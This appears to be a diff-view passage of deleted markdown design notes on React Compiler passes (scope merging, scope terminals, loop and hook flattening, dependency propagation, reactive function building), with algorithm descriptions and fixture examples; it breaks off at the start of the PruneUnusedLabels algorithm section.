2. **Cross-scope mutations**: When an instruction within one scope mutates a value belonging to a different (outer) scope, those scopes must be merged to maintain correctness.
The pass guarantees that after execution, any two reactive scopes are either:
- Entirely disjoint (no common instructions)
- Properly nested (one scope is completely contained within the other)
## Input Invariants
- Reactive scope variables have been inferred (`InferReactiveScopeVariables` pass has run)
- Scopes have been aligned to block scopes (`AlignReactiveScopesToBlockScopesHIR` pass has run)
- Each `Place` may have an associated `ReactiveScope` with a `range` (start/end instruction IDs)
- Scopes may still have overlapping ranges or contain instructions that mutate outer scopes
## Output Guarantees
- **No overlapping scopes**: All reactive scopes either are disjoint or properly nested
- **Consistent mutation boundaries**: Instructions only mutate their "active" scope (the innermost containing scope)
- **Merged scope ranges**: Merged scopes have their ranges extended to cover the union of all constituent scopes
- **Updated references**: All `Place` references have their `identifier.scope` updated to point to the merged scope
## Algorithm
### Phase 1: Collect Scope Information (`collectScopeInfo`)
- Iterates through all instructions and terminals in the function
- Records for each `Place`:
- The scope it belongs to (`placeScopes` map)
- When scopes start and end (`scopeStarts` and `scopeEnds` arrays, sorted in descending order by ID)
- Only records scopes with non-empty ranges (`range.start !== range.end`)
### Phase 2: Detect Overlapping Scopes (`getOverlappingReactiveScopes`)
Uses a stack-based traversal to track "active" scopes at each instruction:
1. **For each instruction/terminal**:
- **Handle scope endings**: Pop completed scopes from the active stack. If a scope ends while other scopes that started later are still active (detected by finding the scope is not at the top of the stack), those scopes overlap and must be merged via `DisjointSet.union()`.
- **Handle scope starts**: Push new scopes onto the active stack (sorted by end time descending so earlier-ending scopes are at the top). Merge any scopes that have identical start/end ranges.
- **Handle mutations**: For each operand/lvalue, if it:
- Has an associated scope
- Is mutable at the current instruction
- The scope is active but not at the top of the stack (i.e., an outer scope)
Then merge all scopes from the mutated outer scope to the top of the stack.
2. **Special case**: Primitive operands in `FunctionExpression` and `ObjectMethod` are skipped.
### Phase 3: Merge Scopes and Rewrite References
1. For each scope in the disjoint set, compute the merged range as the union (min start, max end)
2. Update all `Place.identifier.scope` references to point to the merged "group" scope
## Key Data Structures
### ScopeInfo
```typescript
type ScopeInfo = {
scopeStarts: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
scopeEnds: Array<{id: InstructionId; scopes: Set<ReactiveScope>}>;
placeScopes: Map<Place, ReactiveScope>;
};
```
### TraversalState
```typescript
type TraversalState = {
joined: DisjointSet<ReactiveScope>; // Union-find for merged scopes
activeScopes: Array<ReactiveScope>; // Stack of currently active scopes
};
```
### DisjointSet<ReactiveScope>
A union-find data structure that tracks which scopes should be merged into the same group.
## Edge Cases
### Identical Scope Ranges
When multiple scopes have the exact same start and end, they are automatically merged since they would produce the same reactive block.
### Empty Scopes
Scopes where `range.start === range.end` are skipped entirely.
### Primitive Captures in Functions
When a `FunctionExpression` or `ObjectMethod` captures a primitive operand, it's excluded from scope merging analysis.
### JSX Single-Instruction Scopes
The comment in the code notes this isn't perfect - mutating scopes may get merged with JSX single-instruction scopes.
### Non-Mutating Captures
The pass records both mutating and non-mutating scopes to handle cases where still-mutating values are aliased by inner scopes.
## TODOs
From the comments in the source file, the design constraints arise from the current compiler output design:
- **Instruction ordering is preserved**: If reordering were allowed, disjoint ranges could be produced by reordering mutating instructions
- **One if-else block per scope**: The current design doesn't allow composing a reactive scope from disconnected instruction ranges
## Example
### Fixture: `overlapping-scopes-interleaved.js`
**Input Code:**
```javascript
function foo(a, b) {
let x = [];
let y = [];
x.push(a);
y.push(b);
}
```
**Before MergeOverlappingReactiveScopesHIR:**
```
[1] $20_@0[1:9] = Array [] // x belongs to scope @0, range [1:9]
[2] x$21_@0[1:9] = StoreLocal...
[3] $23_@1[3:13] = Array [] // y belongs to scope @1, range [3:13]
[4] y$24_@1[3:13] = StoreLocal...
```
Scopes @0 [1:9] and @1 [3:13] overlap: @0 starts at 1, @1 starts at 3, @0 ends at 9, @1 ends at 13. This is invalid.
**After MergeOverlappingReactiveScopesHIR:**
```
[1] $20_@0[1:13] = Array [] // Merged scope @0, range [1:13]
[2] x$21_@0[1:13] = StoreLocal...
[3] $23_@0[1:13] = Array [] // Now also scope @0
[4] y$24_@0[1:13] = StoreLocal...
```
Both `x` and `y` now belong to the same merged scope @0 with range [1:13], producing a single `if-else` memo block in the output.

View File

@@ -1,161 +0,0 @@
# buildReactiveScopeTerminalsHIR
## File
`src/HIR/BuildReactiveScopeTerminalsHIR.ts`
## Purpose
This pass transforms the HIR by inserting `ReactiveScopeTerminal` nodes to explicitly demarcate the boundaries of reactive scopes within the control flow graph. It converts the implicit scope ranges (stored on identifiers as `identifier.scope.range`) into explicit control flow structure by:
1. Inserting a `scope` terminal at the **start** of each reactive scope
2. Inserting a `goto` terminal at the **end** of each reactive scope
3. Creating fallthrough blocks to properly connect the scopes to the rest of the CFG
This transformation makes scope boundaries first-class elements in the CFG, which is essential for later passes that generate the memoization code (the `if ($[n] !== dep)` checks).
## Input Invariants
- **Properly nested scopes and blocks**: The pass assumes `assertValidBlockNesting` has passed, meaning all program blocks and reactive scopes form a proper tree hierarchy
- **Aligned scope ranges**: Reactive scope ranges have been correctly aligned and merged by previous passes
- **Valid instruction IDs**: All instructions have sequential IDs that define the scope boundaries
- **Scopes attached to identifiers**: Reactive scopes are found by traversing all `Place` operands and collecting unique non-empty scopes
## Output Guarantees
- **Explicit scope terminals**: Each reactive scope is represented in the CFG as a `ReactiveScopeTerminal` with:
- `block` - The BlockId containing the scope's instructions
- `fallthrough` - The BlockId that executes after the scope
- **Proper block structure**: Original blocks are split at scope boundaries
- **Restored HIR invariants**: The pass restores RPO ordering, predecessor sets, instruction IDs, and scope/identifier ranges
- **Updated phi nodes**: Phi operands are repointed when their source blocks are split
## Algorithm
### Step 1: Collect Scope Rewrites
```
for each reactive scope (in range pre-order):
push StartScope rewrite at scope.range.start
push EndScope rewrite at scope.range.end
```
The `recursivelyTraverseItems` helper traverses scopes in pre-order (outer scopes before inner scopes).
### Step 2: Apply Rewrites by Splitting Blocks
```
reverse queuedRewrites (to pop in ascending instruction order)
for each block:
for each instruction (or terminal):
while there are rewrites <= current instruction ID:
split block at current index
insert scope terminal (for start) or goto terminal (for end)
emit final block segment with original terminal
```
### Step 3: Repoint Phi Nodes
When a block is split, its final segment gets a new BlockId. Phi operands that referenced the original block are updated to reference the new final block.
### Step 4: Restore HIR Invariants
- Recompute RPO (reverse post-order) block traversal
- Recalculate predecessor sets
- Renumber instruction IDs
- Fix scope and identifier ranges to match new instruction IDs
## Key Data Structures
### TerminalRewriteInfo
```typescript
type TerminalRewriteInfo =
| {
kind: 'StartScope';
blockId: BlockId; // New block for scope content
fallthroughId: BlockId; // Block after scope ends
instrId: InstructionId; // Where to insert
scope: ReactiveScope; // The scope being created
}
| {
kind: 'EndScope';
instrId: InstructionId; // Where to insert
fallthroughId: BlockId; // Same as corresponding StartScope
};
```
### RewriteContext
```typescript
type RewriteContext = {
source: BasicBlock; // Original block being split
instrSliceIdx: number; // Current slice start index
nextPreds: Set<BlockId>; // Predecessors for next emitted block
nextBlockId: BlockId; // BlockId for next emitted block
rewrites: Array<BasicBlock>; // Accumulated split blocks
};
```
### ScopeTraversalContext
```typescript
type ScopeTraversalContext = {
fallthroughs: Map<ScopeId, BlockId>; // Cache: scope -> its fallthrough block
rewrites: Array<TerminalRewriteInfo>;
env: Environment;
};
```
## Edge Cases
### Multiple Rewrites at Same Instruction ID
The while loop in Step 2 handles multiple scope start/ends at the same instruction ID.
### Nested Scopes
The pre-order traversal ensures outer scopes are processed before inner scopes, creating proper nesting in the CFG.
### Empty Blocks After Split
When a scope boundary falls at the start of a block, the split may create a block with no instructions (only a terminal).
### Control Flow Within Scopes
The pass preserves existing control flow (if/else, loops) within scopes; it only adds scope entry/exit points.
### Early Returns
When a return occurs within a scope, the scope terminal still has a fallthrough block, but that block may contain `Unreachable` terminal.
## TODOs
Line 283-284:
```typescript
// TODO make consistent instruction IDs instead of reusing
```
## Example
### Fixture: `reactive-scopes-if.js`
**Before BuildReactiveScopeTerminalsHIR:**
```
bb0 (block):
[1] $29_@0[1:22] = Array [] // x with scope @0 range [1:22]
[2] StoreLocal x$30_@0 = $29_@0
[3] $32 = LoadLocal a$26
[4] If ($32) then:bb2 else:bb3 fallthrough=bb1
bb2:
[5] $33_@1[5:11] = Array [] // y with scope @1 range [5:11]
...
```
**After BuildReactiveScopeTerminalsHIR:**
```
bb0 (block):
[1] Scope @0 [1:28] block=bb9 fallthrough=bb10 // <-- scope terminal inserted
bb9:
[2] $29_@0 = Array []
[3] StoreLocal x$30_@0 = $29_@0
[4] $32 = LoadLocal a$26
[5] If ($32) then:bb2 else:bb3 fallthrough=bb1
bb2:
[6] Scope @1 [6:14] block=bb11 fallthrough=bb12 // <-- nested scope terminal
bb11:
[7] $33_@1 = Array []
...
[13] Goto bb12 // <-- scope end goto
bb12:
...
bb1:
[27] Goto bb10 // <-- scope @0 end goto
bb10:
[28] $50 = LoadLocal x$30_@0
[29] Return $50
```
The key transformation is that scope boundaries become explicit control flow: a `Scope` terminal enters the scope content block, and a `Goto` terminal exits to the fallthrough block. This structure is later used to generate the memoization checks.

View File

@@ -1,158 +0,0 @@
# flattenReactiveLoopsHIR
## File
`src/ReactiveScopes/FlattenReactiveLoopsHIR.ts`
## Purpose
This pass **prunes reactive scopes that are nested inside loops** (for, for-in, for-of, while, do-while). The compiler does not yet support memoization within loops because:
1. Loop iterations would require reconciliation across runs (similar to how `key` is used in JSX for lists)
2. There is no way to identify values across iterations
3. The current approach is to memoize *around* the loop rather than *within* it
When a reactive scope is found inside a loop body, the pass converts its terminal from `scope` to `pruned-scope`. A `pruned-scope` terminal is later treated specially during codegen - its instructions are emitted inline without any memoization guards.
## Input Invariants
- The HIR has been through `buildReactiveScopeTerminalsHIR`, which creates `scope` terminal nodes for reactive scopes
- The HIR is in valid block form with proper terminal kinds
- The block ordering respects control flow (blocks are iterated in order, with loop fallthroughs appearing after loop bodies)
## Output Guarantees
- All `scope` terminals that appear inside any loop body are converted to `pruned-scope` terminals
- Scopes outside of loops remain unchanged as `scope` terminals
- The structure of blocks is preserved; only the terminal kind is mutated
- The `pruned-scope` terminal retains all the same fields as `scope` (block, fallthrough, scope, id, loc)
## Algorithm
The algorithm uses a **linear scan with a stack-based loop tracking** approach:
```
1. Initialize an empty array `activeLoops` to track which loop(s) we are currently inside
2. For each block in the function body (in order):
a. Remove the current block ID from activeLoops (if present)
- This happens when we reach a loop's fallthrough block, exiting the loop
b. Examine the block's terminal:
- If it's a loop terminal (do-while, for, for-in, for-of, while):
Push the loop's fallthrough block ID onto activeLoops
- If it's a scope terminal AND activeLoops is non-empty:
Convert the terminal to pruned-scope (keeping all other fields)
- All other terminal kinds are ignored
```
Key insight: The algorithm tracks when we "enter" a loop by pushing the fallthrough ID when encountering a loop terminal, and "exits" the loop when that fallthrough block is visited.
## Key Data Structures
### activeLoops: Array<BlockId>
A stack of block IDs representing loop fallthroughs. When non-empty, we are inside one or more nested loops.
### PrunedScopeTerminal
```typescript
export type PrunedScopeTerminal = {
kind: 'pruned-scope';
fallthrough: BlockId;
block: BlockId;
scope: ReactiveScope;
id: InstructionId;
loc: SourceLocation;
};
```
### retainWhere
Utility from utils.ts - an in-place array filter that removes elements not matching the predicate.
## Edge Cases
### Nested Loops
The algorithm handles nested loops correctly because `activeLoops` is an array that can contain multiple fallthrough IDs. A scope deep inside multiple nested loops will still be pruned.
### Scope Spanning the Loop
If a scope terminal appears before the loop terminal but its body contains the loop, it is NOT pruned because the scope terminal itself is not inside the loop.
### Multiple Loops in Sequence
When exiting one loop (reaching its fallthrough) and entering another, `activeLoops` correctly clears the first loop before potentially adding the second.
### Control Flow That Exits Loops (break/return)
The algorithm relies on block ordering and fallthrough IDs. Early exits via break/return don't affect the tracking since we track by fallthrough block ID.
## TODOs
No explicit TODOs in this file. However, the docstring mentions future improvements:
> "Eventually we may integrate more deeply into the runtime so that we can do a single level of reconciliation"
This suggests a potential future feature to support memoization within loops via runtime integration.
## Example
### Fixture: `repro-memoize-for-of-collection-when-loop-body-returns.js`
**Input:**
```javascript
function useHook(nodeID, condition) {
const graph = useContext(GraphContext);
const node = nodeID != null ? graph[nodeID] : null;
for (const key of Object.keys(node?.fields ?? {})) {
if (condition) {
return new Class(node.fields?.[field]); // <-- Scope @4 is here
}
}
return new Class(); // <-- Scope @5 is here (outside loop)
}
```
**Before FlattenReactiveLoopsHIR:**
```
[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36
bb35:
[46] ForOf init=bb6 test=bb7 loop=bb8 fallthrough=bb5
...
[66] Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38 <-- Inside loop
...
[73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40 <-- Outside loop
```
**After FlattenReactiveLoopsHIR:**
```
[45] Scope scope @3 [45:72] ... block=bb35 fallthrough=bb36 <-- Unchanged
...
[66] <pruned> Scope scope @4 [66:69] ... block=bb37 fallthrough=bb38 <-- PRUNED!
...
[73] Scope scope @5 [73:76] ... block=bb39 fallthrough=bb40 <-- Unchanged
```
**Final Codegen Result:**
```javascript
function useHook(nodeID, condition) {
const $ = _c(7);
// ... memoized Object.keys call (scope @2)
let t1;
if ($[2] !== condition || $[3] !== node || $[4] !== t0) {
// Scope @3 wraps the loop
t1 = Symbol.for("react.early_return_sentinel");
bb0: for (const key of t0) {
if (condition) {
t1 = new Class(node.fields?.[field]); // Scope @4 was PRUNED - no memoization
break bb0;
}
}
$[2] = condition;
$[3] = node;
$[4] = t0;
$[5] = t1;
} else {
t1 = $[5];
}
// ...
// Scope @5 - memoized (sentinel check)
if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
t2 = new Class();
$[6] = t2;
}
return t2;
}
```
The `new Class(...)` inside the loop has no memoization guards because scope @4 was pruned. The `new Class()` outside the loop retains its memoization via scope @5.

View File

@@ -1,143 +0,0 @@
# flattenScopesWithHooksOrUseHIR
## File
`src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts`
## Purpose
This pass removes (flattens) reactive scopes that transitively contain hook calls or `use()` operator calls. The key insight is that:
1. **Hooks cannot be called conditionally** - wrapping them in a memoized scope would make them conditionally called based on whether the cache is valid
2. **The `use()` operator** - while it can be called conditionally in source code, React requires it to be called consistently if the component needs the returned value. Memoizing a scope containing `use()` would also make it conditionally called.
By running reactive scope inference first (agnostic of hooks), the compiler knows which values "construct together" in the same scope. The pass then removes ALL memoization for scopes containing hook/use calls to ensure they are always executed unconditionally.
## Input Invariants
- HIR must have reactive scope terminals already built (pass runs after `BuildReactiveScopeTerminalsHIR`)
- Blocks are visited in order (the pass iterates through `fn.body.blocks`)
- Scope terminals have a `block` (body of the scope) and `fallthrough` (block after the scope)
- Type inference has run so that `getHookKind()` and `isUseOperator()` can identify hooks and use() calls
## Output Guarantees
- All scopes that transitively contained a hook or `use()` call are either:
- Converted to `LabelTerminal` - if the scope body is trivial (just the hook call and a goto)
- Converted to `PrunedScopeTerminal` - if the scope body contains other instructions besides the hook call
- The `PrunedScopeTerminal` still tracks the original scope information for downstream passes but will not generate memoization code
- The control flow structure is preserved (same blocks, same fallthroughs)
## Algorithm
### Phase 1: Identify Scopes Containing Hook/Use Calls
1. Maintain a stack `activeScopes` of currently "open" reactive scopes
2. Iterate through all blocks in order
3. When entering a block:
- Remove any scopes from `activeScopes` whose fallthrough equals the current block (those scopes have ended)
4. For each instruction in the block:
- If it's a `CallExpression` or `MethodCall` and the callee is a hook or use operator:
- Add all currently active scopes to the `prune` list
- Clear `activeScopes` (these scopes are now marked for pruning)
5. If the block's terminal is a `scope`:
- Push it onto `activeScopes`
### Phase 2: Prune Identified Scopes
For each block ID in `prune`:
1. Get the scope terminal
2. Check if the scope body is trivial (single instruction + goto to fallthrough):
- If trivial: Convert to `LabelTerminal` (will be removed by `PruneUnusedLabels`)
- If non-trivial: Convert to `PrunedScopeTerminal` (preserves scope info but skips memoization)
## Key Data Structures
```typescript
// Stack tracking currently open scopes
activeScopes: Array<{block: BlockId; fallthrough: BlockId}>
// List of block IDs whose scope terminals should be pruned
prune: Array<BlockId>
// Terminal types used
LabelTerminal: {kind: 'label', block, fallthrough, id, loc}
PrunedScopeTerminal: {kind: 'pruned-scope', block, fallthrough, scope, id, loc}
ReactiveScopeTerminal: {kind: 'scope', block, fallthrough, scope, id, loc}
```
## Edge Cases
### Nested Scopes
When a hook is found in an inner scope, ALL enclosing scopes are also pruned (the hook call would become conditional if any outer scope were memoized).
### Method Call Hooks
Handles both `CallExpression` (e.g., `useHook(...)`) and `MethodCall` (e.g., `obj.useHook(...)`).
### Trivial Hook-Only Scopes
If a scope exists just for a hook call (single instruction + goto), it's converted to a `LabelTerminal` which is a simpler structure that gets cleaned up by later passes.
### Multiple Hooks in Sequence
Once the first hook is encountered, all active scopes are pruned and cleared, so subsequent hooks in outer scopes still work correctly.
## TODOs
None explicitly marked in the source file.
## Example
### Fixture: `nested-scopes-hook-call.js`
**Input:**
```javascript
function component(props) {
let x = [];
let y = [];
y.push(useHook(props.foo));
x.push(y);
return x;
}
```
**Before FlattenScopesWithHooksOrUseHIR:**
```
bb0:
[1] Scope @0 [1:22] block=bb6 fallthrough=bb7 // Outer scope for x
bb6:
[2] $22 = Array [] // x = []
[3] StoreLocal x = $22
[4] Scope @1 [4:17] block=bb8 fallthrough=bb9 // Inner scope for y
bb8:
[5] $25 = Array [] // y = []
[6] StoreLocal y = $25
...
[10] $33 = Call useHook(...) // <-- Hook call here!
[11] MethodCall y.push($33)
```
**After FlattenScopesWithHooksOrUseHIR:**
```
bb0:
[1] <pruned> Scope @0 [1:22] block=bb6 fallthrough=bb7 // PRUNED
bb6:
[2] $22 = Array []
[3] StoreLocal x = $22
[4] <pruned> Scope @1 [4:17] block=bb8 fallthrough=bb9 // PRUNED
bb8:
[5] $25 = Array []
[6] StoreLocal y = $25
...
[12] Label block=bb10 fallthrough=bb11 // Hook call converted to label
bb10:
[13] $33 = Call useHook(...)
[14] Goto bb11
...
```
**Final Output (no memoization):**
```javascript
function component(props) {
const x = [];
const y = [];
y.push(useHook(props.foo));
x.push(y);
return x;
}
```
Notice that:
1. Both scope @0 and scope @1 are marked as `<pruned>` because the hook call is inside scope @1, which is inside scope @0
2. The final output has no memoization wrappers - just the raw code

View File

@@ -1,158 +0,0 @@
# propagateScopeDependenciesHIR
## File
`src/HIR/PropagateScopeDependenciesHIR.ts`
## Purpose
The `propagateScopeDependenciesHIR` pass is responsible for computing and assigning the **dependencies** for each reactive scope in the compiled function. Dependencies are the external values that a scope reads, which determine when the scope needs to re-execute. This is a critical step for memoization correctness - the compiler must track exactly which values a scope depends on so it can generate proper cache invalidation checks.
The pass also populates:
- `scope.dependencies` - The set of `ReactiveScopeDependency` objects the scope reads
- `scope.declarations` - Values declared within the scope that are used outside it
## Input Invariants
- Reactive scopes must be established (pass runs after `BuildReactiveScopeTerminalsHIR`)
- The function must be in SSA form
- `InferMutationAliasingRanges` must have run to establish when values are being mutated
- `InferReactivePlaces` marks which identifiers are reactive
- Scope ranges have been aligned and normalized by earlier passes
## Output Guarantees
After this pass completes:
1. Each `ReactiveScope.dependencies` contains the minimal set of dependencies that:
- Were declared before the scope started
- Are read within the scope
- Are not ref values (which are always mutable)
- Are not object methods (which get codegen'd back into object literals)
2. Each `ReactiveScope.declarations` contains identifiers that:
- Are assigned within the scope
- Are used outside the scope (need to be exposed as scope outputs)
3. Property load chains are resolved to their root identifiers with paths (e.g., `props.user.name` becomes `{identifier: props, path: ["user", "name"]}`)
4. Optional chains are handled correctly, distinguishing between `a?.b` and `a.b` access types
## Algorithm
### Phase 1: Build Sidemaps
1. **findTemporariesUsedOutsideDeclaringScope**: Identifies temporaries that are used outside the scope where they were declared (cannot be hoisted/reordered safely)
2. **collectTemporariesSidemap**: Creates a mapping from temporary IdentifierIds to their source `ReactiveScopeDependency`. For example:
```
$0 = LoadLocal 'a'
$1 = PropertyLoad $0.'b'
```
Maps `$1.id` to `{identifier: a, path: [{property: 'b', optional: false}]}`
3. **collectOptionalChainSidemap**: Traverses optional chain blocks to map temporaries within optional chains to their full optional dependency path
4. **collectHoistablePropertyLoads**: Uses CFG analysis to determine which property loads can be safely hoisted
### Phase 2: Collect Dependencies
The `collectDependencies` function traverses the HIR, maintaining a stack of active scopes:
1. **Scope Entry/Exit**: When entering a scope terminal, push a new dependency array. When exiting, propagate collected dependencies to parent scopes if valid.
2. **Instruction Processing**: For each instruction:
- Declare the lvalue with its instruction id and current scope
- Visit operands to record them as potential dependencies
- Handle special cases like `StoreLocal` (tracks reassignments), `Destructure`, `PropertyLoad`, etc.
3. **Dependency Validation** (`#checkValidDependency`):
- Skip ref values (`isRefValueType`)
- Skip object methods (`isObjectMethodType`)
- Only include if declared before scope start
### Phase 3: Derive Minimal Dependencies
For each scope, use `ReactiveScopeDependencyTreeHIR` to:
1. Build a tree from hoistable property loads
2. Add all collected dependencies to the tree
3. Truncate dependencies at their maximal safe-to-evaluate subpath
4. Derive the minimal set (removing redundant nested dependencies)
## Key Data Structures
### ReactiveScopeDependency
```typescript
type ReactiveScopeDependency = {
identifier: Identifier; // Root identifier
reactive: boolean; // Whether the value is reactive
path: DependencyPathEntry[]; // Chain of property accesses
}
```
### DependencyPathEntry
```typescript
type DependencyPathEntry = {
property: PropertyLiteral; // Property name
optional: boolean; // Is this `?.` access?
}
```
### DependencyCollectionContext
Maintains:
- `#declarations`: Map of DeclarationId to {id, scope} recording where each value was declared
- `#reassignments`: Map of Identifier to latest assignment info
- `#scopes`: Stack of currently active ReactiveScopes
- `#dependencies`: Stack of dependency arrays (one per active scope)
- `#temporaries`: Sidemap for resolving property loads
### ReactiveScopeDependencyTreeHIR
A tree structure for efficient dependency deduplication that stores hoistable objects, tracks access types, and computes minimal dependencies.
## Edge Cases
### Values Used Outside Declaring Scope
If a temporary is used outside its declaring scope, it cannot be tracked in the sidemap because reordering the read would be invalid.
### Ref.current Access
Accessing `ref.current` is treated specially - the dependency is truncated to just `ref`.
### Optional Chains
Optional chains like `a?.b?.c` produce different dependency paths than `a.b.c`. The pass distinguishes them and may merge optional loads into unconditional ones when control flow proves the object is non-null.
### Inner Functions
Dependencies from inner functions are collected recursively but with special handling for context variables.
### Phi Nodes
When a value comes from multiple control flow paths, optional chain dependencies from phi operands are also visited.
## TODOs
1. Line 374-375: `// TODO(mofeiZ): understand optional chaining` - More documentation needed for optional chain handling
## Example
### Fixture: `reactive-control-dependency-if.js`
**Input:**
```javascript
function Component(props) {
let x;
if (props.cond) {
x = 1;
} else {
x = 2;
}
return [x];
}
```
**Before PropagateScopeDependenciesHIR:**
```
Scope scope @0 [12:15] dependencies=[] declarations=[] reassignments=[] block=bb9
```
**After PropagateScopeDependenciesHIR:**
```
Scope scope @0 [12:15] dependencies=[x$24:TPrimitive] declarations=[$26_@0] reassignments=[] block=bb9
```
The pass identified that:
- The scope at `[x]` depends on `x$24` (the phi node result from the if/else branches)
- Even though `x` is assigned to constants (1 or 2), its value depends on the reactive control flow condition `props.cond`
- The scope declares `$26_@0` (the array output)

View File

@@ -1,180 +0,0 @@
# buildReactiveFunction
## File
`src/ReactiveScopes/BuildReactiveFunction.ts`
## Purpose
The `buildReactiveFunction` pass converts the compiler's HIR (High-level Intermediate Representation) from a **Control Flow Graph (CFG)** representation to a **tree-based ReactiveFunction** representation that is closer to an AST. This is a critical transformation in the React Compiler pipeline that:
1. **Restores control flow constructs** - Reconstructs `if`, `while`, `for`, `switch`, and other control flow statements from the CFG's basic blocks and terminals
2. **Eliminates phi nodes** - Replaces SSA phi nodes with compound value expressions (ternaries, logical expressions, sequence expressions)
3. **Handles labeled break/continue** - Tracks control flow targets to emit explicit labeled `break` and `continue` statements when needed
4. **Preserves reactive scope information** - Scope terminals are converted to `ReactiveScopeBlock` nodes in the tree
## Input Invariants
- HIR is in SSA form (variables have been renamed with unique identifiers)
- Basic blocks are connected (valid predecessor/successor relationships)
- Each block ends with a valid terminal
- Phi nodes exist at merge points for values from different control flow paths
- Reactive scopes have been constructed (`scope` terminals exist)
- Scope dependencies are computed (`PropagateScopeDependenciesHIR` has run)
## Output Guarantees
- **Tree structure** - The output is a `ReactiveFunction` with a `body: ReactiveBlock` containing a tree of `ReactiveStatement` nodes
- **No CFG structure** - Basic blocks are eliminated; control flow is represented through nested reactive terminals
- **No phi nodes** - Value merges are represented as `ConditionalExpression`, `LogicalExpression`, or `SequenceExpression` values
- **Labels emitted for all control flow** - Every terminal that can be a break/continue target has a label; unnecessary labels are removed by subsequent `PruneUnusedLabels` pass
- **Each block emitted exactly once** - A block cannot be generated twice
- **Scope blocks preserved** - `scope` terminals become `ReactiveScopeBlock` nodes
## Algorithm
### Core Classes
1. **`Driver`** - Traverses blocks and emits ReactiveBlock arrays
2. **`Context`** - Tracks state:
- `emitted: Set<BlockId>` - Which blocks have been generated
- `#scheduled: Set<BlockId>` - Blocks that will be emitted by parent constructs
- `#controlFlowStack: Array<ControlFlowTarget>` - Stack of active break/continue targets
- `scopeFallthroughs: Set<BlockId>` - Fallthroughs for scope blocks
### Traversal Strategy
1. Start at the entry block and call `traverseBlock(entryBlock)`
2. For each block:
- Emit all instructions as `ReactiveInstructionStatement`
- Process the terminal based on its kind
### Terminal Processing
**Simple Terminals:**
- `return`, `throw` - Emit directly as `ReactiveTerminal`
- `unreachable` - No-op
**Control Flow Terminals:**
- `if` - Schedule fallthrough, recursively traverse consequent/alternate, emit `ReactiveIfTerminal`
- `while`, `do-while`, `for`, `for-of`, `for-in` - Use `scheduleLoop()` which tracks continue targets
- `switch` - Process cases in reverse order
- `label` - Schedule fallthrough, traverse inner block
**Value Terminals (expressions that produce values):**
- `ternary`, `logical`, `optional`, `sequence` - Produce `ReactiveValue` compound expressions
**Break/Continue:**
- `goto` with `GotoVariant.Break` - Determine if break is implicit, unlabeled, or labeled
- `goto` with `GotoVariant.Continue` - Determine continue type
**Scope Terminals:**
- `scope`, `pruned-scope` - Schedule fallthrough, traverse inner block, emit as `ReactiveScopeBlock`
## Key Data Structures
### ReactiveFunction
```typescript
type ReactiveFunction = {
loc: SourceLocation;
id: ValidIdentifierName | null;
params: Array<Place | SpreadPattern>;
generator: boolean;
async: boolean;
body: ReactiveBlock;
env: Environment;
directives: Array<string>;
};
```
### ReactiveBlock
```typescript
type ReactiveBlock = Array<ReactiveStatement>;
```
### ReactiveStatement
```typescript
type ReactiveStatement =
| ReactiveInstructionStatement // {kind: 'instruction', instruction}
| ReactiveTerminalStatement // {kind: 'terminal', terminal, label}
| ReactiveScopeBlock // {kind: 'scope', scope, instructions}
| PrunedReactiveScopeBlock; // {kind: 'pruned-scope', ...}
```
### ReactiveValue (for compound expressions)
```typescript
type ReactiveValue =
| InstructionValue // Regular instruction values
| ReactiveLogicalValue // a && b, a || b, a ?? b
| ReactiveSequenceValue // (a, b, c)
| ReactiveTernaryValue // a ? b : c
| ReactiveOptionalCallValue; // a?.b()
```
### ControlFlowTarget
```typescript
type ControlFlowTarget =
| {type: 'if'; block: BlockId; id: number}
| {type: 'switch'; block: BlockId; id: number}
| {type: 'case'; block: BlockId; id: number}
| {type: 'loop'; block: BlockId; continueBlock: BlockId; ...};
```
## Edge Cases
### Nested Control Flow
The scheduling mechanism handles arbitrarily nested control flow by pushing/popping from the control flow stack.
### Value Blocks with Complex Expressions
`SequenceExpression` handles cases where value blocks contain multiple instructions.
### Scope Fallthroughs
Breaks to scope fallthroughs are treated as implicit (no explicit break needed).
### Catch Handlers
Scheduled specially via `scheduleCatchHandler()` to prevent re-emission.
### Unreachable Blocks
The `reachable()` check prevents emitting unreachable blocks.
## TODOs
The code contains several `CompilerError.throwTodo()` calls for unsupported patterns:
1. Optional chaining test blocks must end in `branch`
2. Logical expression test blocks must end in `branch`
3. Support for value blocks within try/catch statements
4. Support for labeled statements combined with value blocks
## Example
### Fixture: `ternary-expression.js`
**Input:**
```javascript
function ternary(props) {
const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);
const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
return a ? b : null;
}
```
**HIR (CFG with many basic blocks):**
The HIR contains 33 basic blocks with `Ternary`, `Logical`, `Branch`, and `Goto` terminals, plus phi nodes at merge points.
**ReactiveFunction Output (Tree):**
```
function ternary(props$62{reactive}) {
[1] $84 = Ternary
Sequence
[2] $66 = Logical
Sequence [...]
&& Sequence [...]
?
Sequence [...] // props.c || props.d
:
Sequence [...] // props.e ?? props.f
[40] StoreLocal a$99 = $98
...
[82] return $145
}
```
The transformation eliminates:
- 33 basic blocks reduced to a single tree
- Phi nodes replaced with nested `Ternary` and `Logical` value expressions
- CFG edges replaced with tree nesting

View File

@@ -1,145 +0,0 @@
# pruneUnusedLabels
## File
`src/ReactiveScopes/PruneUnusedLabels.ts`
## Purpose
The `pruneUnusedLabels` pass optimizes control flow by:
1. **Flattening labeled terminals** where the label is not reachable via a `break` or `continue` statement
2. **Marking labels as implicit** for terminals where the label exists but is never targeted
This pass removes unnecessary labeled blocks that were introduced during compilation but serve no control flow purpose in the final output. JavaScript labeled statements are only needed when there is a corresponding `break label` or `continue label` that targets them.
## Input Invariants
- The input is a `ReactiveFunction` (after conversion from HIR)
- All `break` and `continue` terminals have:
- A `target` (BlockId) indicating which label they jump to
- A `targetKind` that is one of: `'implicit'`, `'labeled'`, or `'unlabeled'`
- Each `ReactiveTerminalStatement` has an optional `label` field containing `id` and `implicit`
- The pass runs after `assertWellFormedBreakTargets` which validates break/continue targets
## Output Guarantees
- Labeled terminals where the label is unreachable are flattened into their parent block
- When flattening, trailing unlabeled `break` statements (that would just fall through) are removed
- Labels that exist but are never targeted have their `implicit` flag set to `true`
- Control flow semantics are preserved - only structurally unnecessary labels are removed
## Algorithm
